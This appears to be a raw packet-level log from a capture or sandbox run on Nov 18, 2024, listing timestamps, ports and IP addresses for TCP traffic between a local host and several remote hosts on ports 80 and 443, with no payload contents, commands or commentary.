Nov 18, 2024 04:41:33.056185961 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.057183027 CET	49884	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.057199955 CET	443	49884	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.066493034 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.067626953 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.067645073 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.068705082 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.068710089 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.091695070 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.091706038 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.091804028 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.092200994 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.092235088 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.092411041 CET	49887	443	192.168.2.6	23.192.223.230
Nov 18, 2024 04:41:33.092416048 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.092432976 CET	443	49887	23.192.223.230	192.168.2.6
Nov 18, 2024 04:41:33.092505932 CET	49888	443	192.168.2.6	13.107.246.57
Nov 18, 2024 04:41:33.092526913 CET	443	49888	13.107.246.57	192.168.2.6
Nov 18, 2024 04:41:33.117372990 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.145493984 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.145529032 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.146142960 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.146152020 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.194853067 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.194878101 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.194932938 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.194989920 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.194989920 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.195410013 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.195410013 CET	49876	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.195430040 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.195435047 CET	443	49876	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.199290037 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.199332952 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.199553013 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.199729919 CET	49889	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.199745893 CET	443	49889	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.209878922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.209964037 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.209975004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.209990025 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210004091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210020065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210028887 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.210045099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210053921 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210058928 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.210062981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210072994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210098028 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.210155964 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.210186005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210243940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210254908 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.210261106 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.210391045 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.214862108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.214941025 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.214973927 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.214991093 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.215022087 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.215078115 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.263859987 CET	443	49878	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.264218092 CET	49878	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.264228106 CET	443	49878	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.264589071 CET	443	49878	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.265496016 CET	49878	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.265558004 CET	443	49878	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.268817902 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.268973112 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.269073963 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.269211054 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.269232988 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.269243002 CET	49877	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.269249916 CET	443	49877	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.272614956 CET	443	49879	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.272828102 CET	49879	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.272850037 CET	443	49879	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.273190022 CET	443	49879	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.273475885 CET	49879	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.273545980 CET	443	49879	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.275652885 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.275688887 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.275744915 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.279536009 CET	49890	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.279546976 CET	443	49890	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.313357115 CET	49878	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.354226112 CET	443	49880	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.354640007 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.354655027 CET	443	49880	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.356096983 CET	443	49880	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.356200933 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.356558084 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.356656075 CET	443	49880	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.357316971 CET	443	49881	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.357552052 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.357568979 CET	443	49881	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.359021902 CET	443	49881	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.359236002 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.359601974 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.359687090 CET	443	49881	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.364339113 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364367008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364379883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364403963 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.364427090 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.364434958 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364449978 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364490032 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.364715099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364739895 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364753962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.364765882 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.364804983 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.365096092 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365118027 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365133047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365149975 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365155935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.365184069 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.365195036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.365586996 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365602016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365632057 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365648031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365663052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.365664005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.365691900 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.365704060 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.366252899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.366266966 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.366282940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.366317987 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.366341114 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.366357088 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.366372108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.366386890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.366398096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.366445065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.366445065 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.367167950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.367233038 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.376688004 CET	49879	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.422194004 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.422204018 CET	443	49881	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.518879890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.518910885 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.518954039 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.518959999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.518978119 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519001007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519016981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519041061 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519073963 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519192934 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519227028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519237041 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519242048 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519267082 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519279003 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519488096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519503117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519517899 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519531965 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519609928 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519609928 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519704103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519741058 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519753933 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.519768000 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519789934 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.519965887 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520004988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520020008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520035028 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520037889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520056963 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520083904 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520102024 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520117044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520132065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520142078 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520159960 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520169973 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520785093 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520800114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520817995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520833015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520837069 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520853043 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520889044 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520919085 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520935059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520950079 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520957947 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520967960 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.520981073 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.520997047 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521022081 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521691084 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521707058 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521724939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521739006 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521754026 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521775007 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521778107 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521790981 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521806955 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521815062 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521833897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521850109 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.521850109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521868944 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.521908998 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.522609949 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522635937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522650957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522656918 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.522670031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.522692919 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.522737026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522753000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522797108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522799015 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.522811890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522826910 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.522835016 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.522860050 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.523835897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.523885965 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.523895979 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.523910999 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.523925066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.523943901 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.523967981 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.523967981 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.538366079 CET	49881	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.566095114 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.566111088 CET	443	49880	162.159.61.3	192.168.2.6
Nov 18, 2024 04:41:33.573973894 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.574501038 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.574534893 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.574954987 CET	49882	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.574959993 CET	443	49882	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.644983053 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.645920038 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.645932913 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.646747112 CET	49883	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:33.646750927 CET	443	49883	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:33.674120903 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674141884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674160004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674223900 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674243927 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674257994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674273968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674288988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674294949 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674304962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674320936 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674321890 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674346924 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674372911 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674374104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674390078 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674406052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674422026 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674432993 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674451113 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674454927 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674479008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674499035 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674525023 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674540043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674572945 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674597025 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674798012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674813032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674829006 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674839020 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674854994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674865961 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674870968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674887896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674894094 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674902916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674921036 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674921989 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674930096 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674937963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674949884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674963951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674968004 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674977064 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.674982071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.674999952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675008059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675015926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675026894 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675045967 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675051928 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675054073 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675079107 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675090075 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675096035 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675112963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675116062 CET	49880	443	192.168.2.6	162.159.61.3
Nov 18, 2024 04:41:33.675127983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675132990 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675154924 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675157070 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675172091 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675180912 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675190926 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675204992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675210953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675229073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675236940 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675245047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675259113 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675262928 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675271034 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675282001 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675288916 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675297022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675304890 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675321102 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675321102 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675338030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675338984 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675359964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675362110 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675369978 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675395966 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675436974 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675479889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:33.675529957 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675544977 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675563097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:33.675586939 CET	49833	80	192.168.2.6	185.215.113.206
